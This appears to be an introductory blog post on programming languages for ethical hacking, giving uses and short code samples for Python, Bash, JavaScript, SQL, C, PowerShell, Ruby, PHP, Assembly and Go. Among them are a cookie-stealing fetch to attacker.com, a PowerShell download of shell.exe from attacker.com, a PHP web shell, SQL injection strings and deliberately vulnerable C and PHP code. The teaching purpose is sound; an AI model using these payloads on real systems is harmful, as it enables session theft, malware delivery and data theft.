Basic Programming languages knowledge for Hackers

 Here’s a list of  programming languages essential for ethical hacking and cybersecurity Training, along with their key uses and learning priorities:

1. Python

Why Learn?

- 1 language for hacking and cybersecurity career (readable, versatile, vast libraries).  

- Used for exploit development, automation, and tool creation.  

Key Uses:  

✔ Writing custom exploits (e.g., buffer overflows)  

✔ Automating attacks (e.g., brute-forcing, scraping)  

✔ Malware analysis & reverse engineering  

Example: 

python

    import socket                      

    target = "192.168.1.1"          

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)       

    s.connect((target, 80))           

    s.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")         

    print(s.recv(1024).decode())       

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2. Bash Scripting  

Why Learn?

- Critical for Linux-based hacking and cybersecurity career(Kali Linux).  

- Automates repetitive tasks (scanning, payloads).  

Key Uses: 

✔ Network scanning (e.g., `for ip in {1..254}; do ping -c 1 192.168.1.$ip; done`)  

✔ Post-exploitation (e.g., data exfiltration)  

Example:  

bash

     #!/bin/bash             

     for port in {1..65535}; do          

      timeout 1 bash -c "echo >/dev/tcp/192.168.1.1/$port" && echo "Port $port OPEN"            

      done                 

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3. JavaScript

Why Learn? 

- Web hacking (XSS, CSRF, API exploits).  

- Manipulate browser/DOM for attacks.  

Key Uses:  

✔ Crafting XSS payloads (`<script>alert(1)</script>`)  

✔ Node.js for server-side exploits  

Example:  

javascript

         // Stealing cookies via XSS            

        fetch('http://attacker.com/log?cookie=' + document.cookie);         

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4. SQL  

Why Learn?  

- Database hacking (SQL injection, data theft).  

- Understand backend queries.  

Key Uses:

✔ Exploiting SQLi (`' OR 1=1 -- -`)  

✔ Bypassing authentication  

Example:  

sql

          UNION SELECT username, password FROM users--      

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5. C/C++

Why Learn?

- Low-level exploits (buffer overflows, rootkits).  

- Reverse engineering binaries.  

Key Uses:  

✔ Writing shellcode  

✔ Exploiting memory corruption  

Example:

c

    #include <stdio.h>  

    int main() {  

    char buffer[10];  

    gets(buffer); // Vulnerable to overflow  

    return 0;  

    }  

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6. PowerShell  

Why Learn?  

- Windows hacking (post-exploitation, AD attacks).  

- Bypasses AV/restrictions.  

Key Uses:  

✔ Lateral movement in Windows  

✔ Credential dumping (`Invoke-Mimikatz`)  

Example:  

powershell

   Invoke-WebRequest "http://attacker.com/shell.exe" -OutFile "C:\Temp\shell.exe"    

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7. Ruby 

Why Learn? 

- Metasploit modules are written in Ruby.  

- Quick exploit prototyping.  

Key Uses:

✔ Custom Metasploit exploits  

✔ Web app testing  

Example: 

ruby

 # Simple TCP server        

 require 'socket'            

 server = TCPServer.new 4444        

 client = server.accept        

 client.puts "Hacked!"       

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8. PHP

Why Learn? 

- Web app vulnerabilities (RCE, LFI/RFI).  

- Analyze CMS exploits (WordPress, Joomla).  

Key Uses:  

✔ Crafting web shells (`<?php system($_GET['cmd']); ?>`)  

✔ Understanding server-side flaws  

Example:  

php

  <?php          

  if (isset($_GET['file'])) {        

  include($_GET['file']); // LFI vulnerability        

  }          

  ?>         

9. Assembly (x86/ARM)  

Why Learn?  

- Malware analysis & exploit dev.  

- Understand CPU-level attacks.  

Key Uses:  

✔ Writing shellcode  

✔ Reverse engineering malware  

Example: 

nasm

section .text    

global _start      

_start:            

  mov eax, 4     ; sys_write  

  mov ebx, 1     ; stdout  

  mov ecx, msg   ; buffer  

  mov edx, len   ; length  

  int 0x80       ; syscall  

  msg db "Hacked!", 0xa  

  len equ $ - msg  

10. Go (Golang)  

Why Learn?  

- Modern malware/RATs use Go.  

- Cross-platform exploits.  

Key Uses:

✔ Building stealthy malware  

✔ Network tools (scanners, proxies)  

Example:

go

  package main  

  import "net/http"  

  func main() {  

  http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {  

    w.Write([]byte("Hacked!"))  

  })  

  http.ListenAndServe(":8080", nil)  

 }  

 cybersecurity Learning Roadmap  

1. Start with Python/Bash (automation basics).  

2. Add JavaScript/SQL (web hacking).  

3. Learn C/PowerShell (low-level/Windows).  

4. Explore Assembly (advanced exploits).  

🚀 Pro Tip: Use TryHackMe /HTB challenges to practice!